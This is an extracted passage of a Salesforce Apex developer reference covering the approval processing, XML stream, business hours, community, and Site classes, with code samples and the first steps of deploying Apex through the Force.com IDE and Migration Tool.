public class testApproval { { // Insert an account Account a = new Account(Name='Test',annualRevenue=100.0); insert a; // Create an approval request for the account Approval.ProcessSubmitRequest req1 = new Approval.ProcessSubmitRequest(); req1.setComments('Submitting request for approval.'); req1.setObjectId(a.id); // Submit the approval request for the account Approval.ProcessResult result = Approval.process(req1); // Verify the result System.assert(result.isSuccess()); System.assertEquals('Pending', result.getInstanceStatus(), 'Instance Status'+result.getInstanceStatus()); // Approve the submitted request // First, get the ID of the newly created item List<Id> newWorkItemIds = result.getNewWorkitemIds(); // Instantiate the new ProcessWorkitemRequest object and populate it Approval.ProcessWorkitemRequest req2 = new Approval.ProcessWorkitemRequest(); req2.setComments('Approving request.'); req2.setAction('Approve'); req2.setNextApproverIds(new Id[] {UserInfo.getUserId()}); // Use the ID from the newly created item to specify the item to be worked req2.setWorkitemId(newWorkItemIds.get(0)); // Submit the request for approval Approval.ProcessResult result2 = Approval.process(req2); // Verify the results System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess()); System.assertEquals('Approved', result2.getInstanceStatus(), 'Instance Status'+result2.getInstanceStatus()); } }

341

Reference

Apex Approval Processing Classes

ProcessRequest Class

The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemResult classes. Use the ProcessRequest class to write generic Apex scripts that can process objects from either class. You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments. For example:
Approval.ProcessRequest pr = new Approval.ProcessRequest();

The ProcessRequest class has the following methods. Name

getComments getNextApproverIds setComments setNextApproverIds

Arguments

Return Type String ID[]

Description Returns the comments that have been added previously to the approval request. Returns the list of user IDs of user specified as approvers. The comments to be added to the approval request. If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not, you cannot specify a user ID and this method must be null.

String ID[]

Void Void

ProcessResult Class

After you submit a record for approval, use the ProcessResult class to process the results of an approval process. A ProcessResult object is returned by the process method. You must specify the Approval namespace when creating an instance of this class. For example:
Approval.ProcessResult result = Approval.process(req1);

The ProcessResult class has the following methods. These methods take no arguments. Name
getEntityId getErrors

Return Type String Database.Error[]

Description The ID of the record being processed. If an error occurred, returns an array of one or more database error objects including the error code and description. For more information, see Database Error Object Methods on page 267. The ID of the approval process that has been submitted for approval. The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending. The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.

getInstanceId getInstanceStatus getNewWorkitemIds

String String ID[]

342

Reference

Apex Approval Processing Classes

Name
isSuccess

Return Type Boolean

Description A Boolean value that is set to true if the approval process completed successfully; otherwise, it is set to false.

ProcessSubmitRequest Class

Use the ProcessSubmitRequest class to submit a record for approval. You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments. For example:
Approval.ProcessSubmitRequest psr = new Approval.ProcessSubmitRequest();

The following methods are unique to the ProcessSubmitRequest class. In addition to these methods, the ProcessSubmitRequest class has access to all the methods in its parent class, ProcessRequest. Name
getObjectId

Arguments

Return Type String

Description Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object record. Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.

setObjectId

String Id

Void

The ProcessSubmitRequest class shares the following methods with ProcessRequest. Name
getComments getNextApproverIds setComments setNextApproverIds

Arguments

Return Type String ID[]

Description Returns the comments that have been added previously to the approval request. Returns the list of user IDs of user specified as approvers. The comments to be added to the approval request. If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not, you cannot specify a user ID and this method must be null.

String ID[]

Void Void

ProcessWorkitemRequest Class

Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.

343

Reference

XmlStream Classes

You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments. For example:
Approval.ProcessWorkitemRequest pwr = new Approval.ProcessWorkitemRequest();

The following methods are unique to the ProcessWorkitemRequest class. In addition to these methods, the ProcessWorkitemRequest class has access to all the methods in its parent class, ProcessRequest. Name
getAction

Arguments

Return Type String

Description Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed. Returns the ID of the approval request that is in the process of being approved, rejected, or removed. Sets the type of action to take for processing an approval request. Valid values are: Approve, Reject, or Removed. Only system administrators can specify Removed. Sets the ID of the approval request that is being approved, rejected, or removed.

getWorkitemId

String

setAction

String s

Void

setWorkitemId

String Id

Void

The ProcessWorkitemRequest class shares the following methods with ProcessRequest. Name
getComments getNextApproverIds setComments setNextApproverIds

Arguments

Return Type String ID[]

Description Returns the comments that have been added previously to the approval request. Returns the list of user IDs of user specified as approvers. The comments to be added to the approval request. If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not, you cannot specify a user ID and this method must be null.

String ID[]

Void Void

XmlStream Classes
Use the XmlStream methods to read and write XML strings.
XmlStreamReader Class XmlStreamWriter Class

344

Reference

XmlStream Classes

XmlStreamReader Class

Similar to the XMLStreamReader utility class from StAX, methods in the XmlStreamReader class enable forward, read-only access to XML data. You can pull data from XML or skip unwanted events. The following code snippet illustrates how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>'; XmlStreamReader xsr = new XmlStreamReader(xmlString);

These methods work on the following events: An attribute XML event is specified for a particular element. For example, the element <book> has an attribute title: <book title="Salesforce.com for Dummies">. A start element XML event is the opening tag for an element, for example <book>. An end element XML event is the closing tag for an element, for example </book>. A start document XML event is the opening tag for a document. An end document XML event is the closing tag for a document. An entity reference is an entity reference in the code, for example !ENTITY title = "My Book Title". A characters XML event is a text character. A comment XML event is a comment in the XML file.

Use the next and hasNext methods to iterate over XML data. Access data in XML using get methods such as the getNamespace method. Note: The XmlStreamReader class in Apex is based on its counterpart in Java. See https://stax-utils.dev.java.net/nonav/javadoc/api/javax/xml/stream/XMLStreamReader.html. The following methods are available to support reading XML files: Name
getAttributeCount

Arguments

Return Type Integer

Description Returns the number of attributes on the start element. This method is only valid on a start element or attribute XML events.This value excludes namespace definitions. The count for the number of attributes for an attribute XML event starts with zero. Returns the local name of the attribute at the specified index. If there is no name, an empty string is returned. This method is only valid with start element or attribute XML events. Returns the namespace URI of the attribute at the specified index. If no namespace is specified, null is returned. This method is only valid with start element or attribute XML events. Returns the prefix of this attribute at the specified index. If no prefix is specified, null is returned. This method is only valid with start element or attribute XML events. Returns the XML type of the attribute at the specified index. For example, id is an attribute type. This method is only valid with start element or attribute XML events.

getAttributeLocalName Integer index

String

getAttributeNamespace Integer index

String

getAttributePrefix Integer index

String

getAttributeType

Integer index

String

345

Reference

XmlStream Classes

Name

Arguments

Return Type String

Description Returns the value of the attribute in the specified localName at the specified URI. Returns null if the value is not found. You must specify a value for localName. This method is only valid with start element or attribute XML events. Returns the value of the attribute at the specified index. This method is only valid with start element or attribute XML events. XmlTag is an enumeration of constants indicating the type of XML event the cursor is pointing to: ATTRIBUTE CDATA CHARACTERS COMMENT DTD END_DOCUMENT END_ELEMENT ENTITY_DECLARATION ENTITY_REFERENCE NAMESPACE NOTATION_DECLARATION PROCESSING_INSTRUCTION SPACE START_DOCUMENT START_ELEMENT Returns the local name of the current event. For start element or end element XML events, it returns the local name of the current element. For the entity reference XML event, it returns the entity name. The current XML event must be start element, end element, or entity reference. Return the current location of the cursor. If the location is unknown, returns -1. The location information is only valid until the next method is called. If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace. Returns null if the XML event does not have a prefix. Returns the number of namespaces declared on a start element or end element. This method is only valid on a start element, end element, or namespace XML event. Returns the prefix for the namespace declared at the index. Returns null if this is the default namespace declaration. This method is only valid on a start element, end element, or namespace XML event.

getAttributeValue String namespaceURI

String localName

getAttributeValueAt Integer index

String

getEventType

System.XmlTag

getLocalName

String

getLocation

String

getNamespace

String

getNamespaceCount

Integer

getNamespacePrefix Integer index

String

346

Reference

XmlStream Classes

Name
getNamespaceURI

Arguments String Prefix

Return Type String String

Description Return the URI for the given prefix. The returned URI depends on the current state of the processor. Returns the URI for the namespace declared at the index. This method is only valid on a start element, end element, or namespace XML event. Returns the data section of a processing instruction. Returns the target section of a processing instruction. Returns the prefix of the current XML event or null if the event does not have a prefix. Returns the current value of the XML event as a string. The valid values for the different events are: The string value of a character XML event The string value of a comment The replacement value for an entity reference. For example, assume getText reads the following XML snippet:
<!ENTITY Title "Salesforce For Dummies" > ]> <foo a=\"b\">Name &Title;</foo>';

getNamespaceURIAt Integer Index

getPIData getPITarget getPrefix getText

String String String String

getVersion hasName

The getText method returns Salesforce for Dummies, not &Title. The string value of a CDATA section The string value for a space XML event The string value of the internal subset of the DTD

String Boolean

Returns the XML version specified on the XML declaration. Returns null if none was declared. Returns true if the current XML event has a name. Returns false otherwise. This method is only valid for start element and stop element XML events. Returns true if there are more XML events and false if there are no more XML events. This method returns false if the current XML event is end document. Returns true if the current event has text, false otherwise The following XML events have text: characters, entity reference, comment and space. Returns true if the cursor points to a character data XML event. Otherwise, returns false. Returns true if the cursor points to an end tag. Otherwise, it returns false. Returns true if the cursor points to a start tag. Otherwise, it returns false.

hasNext

Boolean

hasText

Boolean

isCharacters isEndElement isStartElement

Boolean Boolean Boolean

347

Reference

XmlStream Classes

Name
isWhiteSpace

Arguments

Return Type Boolean

Description Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false. Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks. Returns an integer which indicates the type of event. Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start element or end element is reached. Returns the index for that XML event. This method throws an error if elements other than white space, comments, processing instruction, start elements or stop elements are encountered. If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks. If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does not. The default value is true. Returns the length of the input XML given to XmlStreamReader.

next

Integer

nextTag

Integer

setCoalescing

Boolean
returnAsSingleBlock

Void

setNamespaceAware Boolean Void isNamespaceAware

toString

String

XmlStreamReader Example The following example processes an XML string.

public class XmlStreamReaderDemo { // Create a class Book for processing public class Book { String name; String author; } Book[] parseBooks(XmlStreamReader reader) { Book[] books = new Book[0]; while(reader.hasNext()) { // Start at the beginning of the book and make sure that it is a book if (reader.getEventType() == XmlTag.START_ELEMENT) { if ('Book' == reader.getLocalName()) { Pass the book to the parseBook method (below) Book book = parseBook(reader); books.add(book); } } reader.next(); }

//

348

Reference

XmlStream Classes

return books; } // Parse through the XML, deterimine the auther and the characters Book parseBook(XmlStreamReader reader) { Book book = new Book(); book.author = reader.getAttributeValue('', 'author'); while(reader.hasNext()) { if (reader.getEventType() == XmlTag.END_ELEMENT) { break; } else if (reader.getEventType() == XmlTag.CHARACTERS) { book.name = reader.getText(); } reader.next(); } return book; } // Test that the XML string contains specific values static testMethod void testBookParser() { XmlStreamReaderDemo demo = new XmlStreamReaderDemo(); String str = '<books><book author="Manoj">Foo bar</book>' + '<book author="Mysti">Baz</book></books>'; XmlStreamReader reader = new XmlStreamReader(str); Book[] books = demo.parseBooks(reader); System.debug(books.size()); for (Book book : books) { System.debug(book); } } }

XmlStreamWriter Class

Similar to the XMLStreamWriter utility class from StAX, methods in the XmlStreamWriter class enable the writing of XML data. For example, you can use the XmlStreamWriter class to programmatically construct an XML document, then use HTTP Classes to send the document to an external server. The following code snippet illustrates how to instantiate a new XmlStreamWriter:
XmlStreamWriter w = new XmlStreamWriter();

Note: The XmlStreamWriter class in Apex is based on its counterpart in Java. See https://stax-utils.dev.java.net/nonav/javadoc/api/javax/xml/stream/XMLStreamWriter.html. The following methods are available to support writing XML files: Name
close getXmlString

Arguments

Return Type Description Void String Closes this instance of an XmlStreamWriter and free any resources associated with it. Returns the XML written by the XmlStreamWriter instance.

349

Reference

XmlStream Classes

Name
setDefaultNamespace

Arguments String URI

Return Type Description Void Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT END_ELEMENT pair. Writes an attribute to the output stream. localName specifies the name of the attribute.

writeAttribute

String prefix String namespaceURI String localName String value

Void

writeCData writeCharacters writeComment

String data String text String data

Void Void Void Void Void

Writes the specified CData to the output stream. Writes the specified text to the output stream. Writes the specified comment to the output stream. Writes the specified namespace to the output stream. Writes an empty element tag to the output stream. localName specifies the name of the tag to be written.

writeDefaultNamespace String namespaceURI writeEmptyElement

String prefix String localName String namespaceURI

writeEndDocument writeEndElement

Void Void

Closes any start tags and writes corresponding end tags to the output stream. Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name. Writes the specified namespace to the output stream.

writeNamespace

String prefix String namespaceURI

Void

writeProcessingInstruction String target

Void

Writes the specified processing instruction.

String data
writeStartDocument

String encoding String version

Void

Writes the XML Declaration using the specified XML encoding and version. Writes the start tag specified by localName to the output stream.

writeStartElement

String prefix String localName String namespaceURI

Void

XML Writer Methods Example The following example writes an XML document and tests the validity of it.

350

Reference

Business Hours Class

Note: The Hello World script and the shopping invoice example require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex scripts as a managed packaged from Force.com AppExchange. For more information, see wiki.apexdevnet.com/index.php/Documentation.
public class XmlWriterDemo { public String getXml() { XmlStreamWriter w = new XmlStreamWriter(); w.writeStartDocument(null, '1.0'); w.writeProcessingInstruction('target', 'data'); w.writeStartElement('m', 'Library', 'http://www.book.com'); w.writeNamespace('m', 'http://www.book.com'); w.writeComment('Book starts here'); w.setDefaultNamespace('http://www.defns.com'); w.writeCData('<Cdata> I like CData </Cdata>'); w.writeStartElement(null, 'book', null); w.writedefaultNamespace('http://www.defns.com'); w.writeAttribute(null, null, 'author', 'Manoj'); w.writeCharacters('This is my book'); w.writeEndElement(); //end book w.writeEmptyElement(null, 'ISBN', null); w.writeEndElement(); //end library w.writeEndDocument(); String xmlOutput = w.getXmlString(); w.close(); return xmlOutput; } public static TestMethod void basicTest() { XmlWriterDemo demo = new XmlWriterDemo(); String result = demo.getXml(); String expected = '<?xml version="1.0"?><?target data?>' + '<m:Library xmlns:m="http://www.book.com">' + '<!--Book starts here-->' + '<![CDATA[<Cdata> I like CData </Cdata>]]>' + //make sure you put the next two lines on one line in your code. '<book xmlns="http://www.defns.com" author="Manoj">' + 'This is my book</book><ISBN/></m:Library>'; System.assert(result == expected); } }

Business Hours Class

Business hours are used to specify the hours at which your customer support team operates, including multiple business hours in multiple time zones. Business hours methods are all called by and operate on a particular instance of a business hour. The following are the instance methods for business hours. Name
add

Arguments String
businessHoursId

Return Type Datetime

Description Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone. For an example, see Business Hours Examples on page 352.

Datetime
startDate

Long interval

351

Reference

Business Hours Class

Name
addGmt

Arguments String
businessHoursId

Return Type Datetime

Description Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT. For an example, see Business Hours Examples on page 352.

Datetime
startDate

Long interval
diff

String
businessHoursId

Long

Datetime
startDate

Returns the difference between a start and end Datetime based on a specific set of business hours. For an example, see Business Hours Examples on page 352.

Datetime endDate

For more information on business hours, see Setting Business Hours in the Salesforce.com online help. Business Hours Examples The following example finds the time one business hour from startTime, returning the Datetime in the local time zone:
// Get the default business hours BusinessHours bh = [select id from businesshours where IsDefault=true]; // Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone. Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8); // Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the // default business hours. The returned Datetime will be in the local timezone. Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);

This example finds the time one business hour from startTime, returning the Datetime in GMT:
// Get the default business hours BusinessHours bh = [select id from businesshours where IsDefault=true]; // Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone. Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8); // Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the // default business hours. The returned Datetime will be in GMT. Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);

The next example finds the difference between startTime and nextTime:
// Get the default business hours BusinessHours bh = [select id from businesshours where IsDefault=true]; // Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone. Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8); // Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone. Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8); // Find the number of business hours milliseconds between startTime and endTime as // defined by the default business hours. Will return a negative value if endTime is

352

Reference

Apex Community Classes

// before startTime, 0 if equal, positive value otherwise. Long diff = BusinessHours.diff(bh.id, startTime, endTime);

Apex Community Classes

Communities help organize ideas and answers into logical groups with each community having its own focus and unique ideas and answers topics.Apex includes the following classes related to a community: Answers Class Ideas Class

Answers Class Answers is a feature of the Community application that enables users to post questions and have community members provide answers. Community members can then vote on the helpfulness of each answer. The following are the static methods for answers. Name
setBestReply

Arguments

Return Type

Description Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply helps users quickly identify the reply that contains the most helpful information.

String questionId Void String replyId

For more information on answers, see Answers Overview in the Salesforce.com online help. Answers Example The following example marks a reply as the best reply:
ID questionId = [SELECT Id FROM Question WHERE Title = 'Testing setBestReplyId' LIMIT 1].Id; ID replyID = [SELECT Id FROM Reply WHERE QuestionId = :questionId LIMIT 1].Id; Answers.setBestReply(questionId,replyId);

Ideas Class Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion box that includes discussions and popularity rankings for any subject. A set of recent replies (returned by methods, see below) includes ideas that a user has posted or commented on that already have comments posted by another user. The returned ideas are listed based on the time the last comment made by another user, with the most recent ideas appearing first. The userID argument is a required argument that filters the results so only the ideas that the specified user has posted or commented on are returned. The communityID argument filters the results so only the ideas within the specified community are returned. If this argument is the empty string, then all recent replies for the specified user are returned regardless of the community. The following are the static methods for ideas.

353

Reference

Apex Community Classes

Name
findSimilar

Arguments Idea idea

Return Type ID[] ID[]

Description Returns a list of up to 5 similar ideas based on the title of idea. Only 10 findSimilar calls are allowed. Returns ideas that have recent replies for the specified user or community. This includes all read and unread replies. Returns ideas that have recent replies marked as read.

getAllRecentReplies String userID

String communityID
getReadRecentReplies String userID

ID[]

String communityID
getUnreadRecentReplies String userID

ID[]

Returns ideas that have recent replies marked as unread.

String communityID
markRead

String ideaID

Void

Marks all comments as read for the user that is currently logged in.

For more information on ideas, see Using Salesforce CRM Ideas in the Salesforce.com online help. Ideas Examples The following example finds ideas in a specific community that have similar titles as a new idea:
public class FindSimilarIdeasController { public static void test() { // Instantiate a new idea Idea idea = new Idea (); // Specify a title for the new idea idea.title = 'Increase Vacation Time for Employees'; // Specify the communityID (INTERNAL_IDEAS) in which to find similar ideas. Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_IDEAS' ]; idea.communityId = community.id; ID[] results = Ideas.findSimilar(idea); } }

The following example uses a Visualforce page in conjunction with a custom controller, that is, a special Apex class. For more information on Visualforce, see the Visualforce Developer's Guide at www.salesforce.com/us/developer/docs/pages/index.htm. This example creates an Apex method in the controller that returns unread recent replies. You can leverage this same example for the getAllRecentReplies and getReadRecentReplies methods. For this example to work, there must be ideas posted to the community. In addition, at least one community member must have posted a comment to another community member's idea or comment.
// Create an Apex method to retrieve the recent replies marked as unread in all communities public class IdeasController { public Idea[] getUnreadRecentReplies() { Idea[] recentReplies; if (recentReplies == null) { Id[] recentRepliesIds = Ideas.getUnreadRecentReplies(UserInfo.getUserId(), ''); recentReplies = [select id, title from idea where id in :recentRepliesIds]; }

354

Reference

Apex Community Classes

return recentReplies; } }

The following is the markup for a Visualforce page that uses the above custom controller to list unread recent replies.
<apex:page controller="IdeasController" showHeader="false"> <apex:dataList value="{!unreadRecentReplies}" var="recentReplyIdea"> <a href="/apex/viewIdea?id={!recentReplyIdea.id}"> <apex:outputText value="{!recentReplyIdea.title}" escape="true"/></a> </apex:dataList> </apex:page>

The following example uses a Visualforce page in conjunction with a custom controller to list ideas. Then, a second Visualforce page and custom controller is used to display a specific idea and mark it as read. For this example to work, there must be ideas posted to the community.
// Create a controller to use on a VisualForce page to list ideas public class IdeaListController { public final Idea[] ideas {get; private set;} public IdeaListController() { Integer i = 0; ideas = new Idea[10]; for (Idea tmp : Database.query ('select id, title from Idea where id != null and parentIdeaId = null limit 10')) { i++; ideas.add(tmp); } } }

The following is the markup for a Visualforce page that uses the above custom controller to list ideas:
<apex:page controller="IdeaListController" tabStyle="Idea" showHeader="false"> <apex:dataList value="{!ideas}" var="idea" id="ideaList"> <a href="/apex/viewIdea?id={!idea.id}"> <apex:outputText value="{!idea.title}" escape="true"/></a> </apex:dataList> </apex:page>

The following example also uses a Visualforce page and custom controller, this time, to display the idea that is selected on the above idea list page. In this example, the markRead method marks the selected idea and associated comments as read by the user that is currently logged in. Note that the markRead method is in the constructor so that the idea is marked read immediately when the user goes to a page that uses this controller. For this example to work, there must be ideas posted to the community. In addition, at least one community member must have posted a comment to another community member's idea or comment.
// Create an Apex method in the controller that marks all comments as read for the // selected idea public class ViewIdeaController { private final String id = System.currentPage().getParameters().get('id');

355

Reference

Site Class

public ViewIdeaController(ApexPages.StandardController controller) { Ideas.markRead(id); } }

The following is the markup for a Visualforce page that uses the above custom controller to display the idea as read.
<apex:page standardController="Idea" extensions="ViewIdeaController" showHeader="false"> <h2><apex:outputText value="{!idea.title}" /></h2> <apex:outputText value="{!idea.body}" /> </apex:page>

Site Class
The following are the static methods for Force.com sites. Name
changePassword

Arguments String newpassword String

verifynewpassword

Return Type System.PageReference

Description Changes the password of the current user.

String opt_oldpassword
createPortalUser

sObject user String accountId String opt_password

Id

Creates a portal user for the given account and associates it with the site's portal. Note that the nickname field is required for the user sObject when using the createPortalUser method. Note: This method is only valid when a site is associated with a Customer Portal.

forgotPassword

String username

Boolean

Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password reset was successful or not. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site. Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns the value of the Custom Web Address field for the current site.

getAnalyticsTrackingCode

String

getCurrentSiteUrl

String

getCustomWebAddress

String

356

Reference

Site Class

Name
getDomain getErrorDescription

Arguments

Return Type String String

Description Returns the Force.com domain name for your organization. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the API name of the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null. Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address. Returns the template name associated with the current site; returns the default template if no template has been designated. Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false. Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. Allows users to log in to the current site with the given username and password, then takes them to the startUrl If startUrl is not a relative path, it defaults to the site's designated index page.

getErrorMessage

String

getName getOriginalUrl

String String

getPrefix

String

getTemplate

System.PageReference

isLoginEnabled

Boolean

isPasswordExpired

Boolean

isRegistrationEnabled

Boolean

login

String username String password String startUrl

System.PageReference

357

Reference

Site Class

Name

Arguments

Return Type

Description Note: Do not include http:// or https:// in the startURL.

For more information on sites, see Force.com Sites Overview in the Salesforce.com online help. Force.com Sites Examples The following example creates a class, SiteRegisterController, which is used with a Visualforce page (see markup below) to register new Customer Portal users. Note: In the example below, you must enter the account ID of the account that you want to associate with new portal users. You must also add the account owner to the role hierarchy for this code example to work. For more information, see Setting Up Your Customer Portal in the Salesforce.com online help.
/** * An apex class that creates a portal user */ public class SiteRegisterController { // PORTAL_ACCOUNT_ID is the account on which the contact will be created on and then enabled as a portal user. //Enter the account ID in place of <portal_account_id> below. private static Id PORTAL_ACCOUNT_ID = '<portal_account_id>'; public SiteRegisterController () { } public String username {get; set;} public String email {get; set;} public String password {get; set {password = value == null ? value : value.trim(); } } public String confirmPassword {get; set { confirmPassword = value == null ? value : value.trim(); } } public String communityNickname {get; set { communityNickname = \ value == null ? value : value.trim(); } } private boolean isValidPassword() { return password == confirmPassword; } public PageReference registerUser() { // If password is null, a random password is sent to the user if (!isValidPassword()) { ApexPages.Message msg = new ApexPages.Message(ApexPages.Severity.ERROR, Label.site.passwords_dont_match); ApexPages.addMessage(msg); return null; } User u = new User(); u.Username = username; u.Email = email; u.CommunityNickname = communityNickname; String accountId = PORTAL_ACCOUNT_ID; // lastName is a required field on user, but if it isn't specified, the code uses the username String userId = Site.createPortalUser(u, accountId, password); if (userId != null) { if (password != null && password.length() > 1) {

358

Reference

Site Class

return Site.login(username, password, null); } else { PageReference page = System.Page.SiteRegisterConfirm; page.setRedirect(true); return page; } } return null; } // Test method for verifying the positive test case static testMethod void testRegistration() { SiteRegisterController controller = new SiteRegisterController(); controller.username = '[email protected]'; controller.email = '[email protected]'; controller.communityNickname = 'test'; // registerUser always returns null when the page isn't accessed as a guest user System.assert(controller.registerUser() == null); controller.password = 'abcd1234'; controller.confirmPassword = 'abcd123'; System.assert(controller.registerUser() == null); } }

The following is the Visualforce registration page that uses the SiteRegisterController Apex contoller above:
<apex:page id="Registration" showHeader="false" controller= "SiteRegisterController" standardStylesheets="true"> <apex:outputText value="Registration"/> <br/> <apex:form id="theForm"> <apex:messages id="msg" styleClass="errorMsg" layout="table" style="margin-top:1em;"/> <apex:panelGrid columns="2" style="margin-top:1em;"> <apex:outputLabel value="{!$Label.site.username}" for="username"/> <apex:inputText required="true" id="username" value="{!username}"/> <apex:outputLabel value="{!$Label.site.community_nickname}" for="communityNickname"/> <apex:inputText required="true" id="communityNickname" required="true" value="{!communityNickname}"/> <apex:outputLabel value="{!$Label.site.email}" for="email"/> <apex:inputText required="true" id="email" required="true" value="{!email}"/> <apex:outputLabel value="{!$Label.site.password}" for="password"/> <apex:inputSecret id="password" value="{!password}"/> <apex:outputLabel value="{!$Label.site.confirm_password}" for="confirmPassword"/> <apex:inputSecret id="confirmPassword" value="{!confirmPassword}"/> <apex:outputText value=""/> <apex:commandButton action="{!registerUser}" value="{!$Label.site.submit}" id="submit"/> </apex:panelGrid> </apex:form> </apex:page>

359

Chapter 13
Deploying Apex Scripts
In this chapter ... Using the Force.com IDE to Deploy Apex Using the Force.com Migration Tool Force.com Migration Tool Additional Deployment Methods
You cannot develop Apex in your Salesforce.com production organization. Live users accessing the system while you are developing can destabilize your data or corrupt your application. Instead, salesforce.com recommends that you do all your development work in either a sandbox or a Developer Edition organization. Deploy code using the Force.com IDE, the Force.com Migration Tool, or additional deployment methods.

360

Deploying Apex Scripts

Using the Force.com IDE to Deploy Apex

Using the Force.com IDE to Deploy Apex

The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development, including source code editors, test execution tools, wizards and integrated help. The Force.com IDE is available at http://wiki.apexdevnet.com/index.php/Force.com_IDE. This tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display. To deploy Apex from a local project in the Force.com IDE to a Salesforce.com organization, use the Deploy to Server wizard. Note: If you deploy to a production organization: 75% of your Apex scripts are covered by unit tests, and all of those tests complete successfully. Note the following: When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage in unit tests. While only 75% of your Apex scripts must be covered, the goal is to achieve 100% coverage

Every trigger has some test coverage. All classes and triggers compile successfully.

For more information on how to use the Deploy to Server wizard, see Deploying to Another Salesforce.com Organization in the Force.com IDE documentation, which is available within Eclipse.

Using the Force.com Migration Tool

In addition to the Force.com IDE, you can also use a script to deploy Apex. Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox organization to a Salesforce.com production organization using Apache's Ant build tool. To use the Force.com Migration Tool, do the following: 1. Visit http://java.sun.com/javase/downloads/index.jsp and install Java JDK, Version 6.1 or greater on the deployment machine. 2. Visit http://ant.apache.org/ and install Apache Ant, Version 1.6 or greater on the deployment machine. 3. Set up the environment variables (such as ANT_HOME, JAVA_HOME, and PATH) as specified in the Ant Installation Guide at http://ant.apache.org/manual/install.html. 4. Verify that the JDK and Ant are installed correctly by opening a command prompt, and entering ant version. Your output should look something like this:
Apache Ant version 1.7.0 compiled on December 13 2006

5. Log in to Salesforce.com on your deployment machine. Click Setup Develop Tools, then click Force.com Migration Tool. 6. Unzip the downloaded file to the directory of your choice. The Zip file contains the following: A Readme.html file that explains how to use the tools A Jar file containing the ant task: ant-salesforce.jar

361

Deploying Apex Scripts

Understanding deploy

A sample folder containing: A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls A codepkg\triggers folder that contains SampleAccountTrigger.trigger A mypkg\objects folder that contains the custom objects used in the examples A removecodepkg folder that contains XML files for removing the examples from your organization A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks in build.xml A sample build.xml file, that exercises the deploy and retrieve API calls

7. Copy the ant-salesforce.jar file from the unzipped file into the ant lib directory. The ant lib directory is located in the root folder of your Ant installation. 8. Open the sample subdirectory in the unzipped file. 9. Edit the build.properties file: a. Enter your Salesforce.com production organization username and password for the sf.user and sf.password fields, respectively. Note: The username you specify should have the authority to edit Apex.

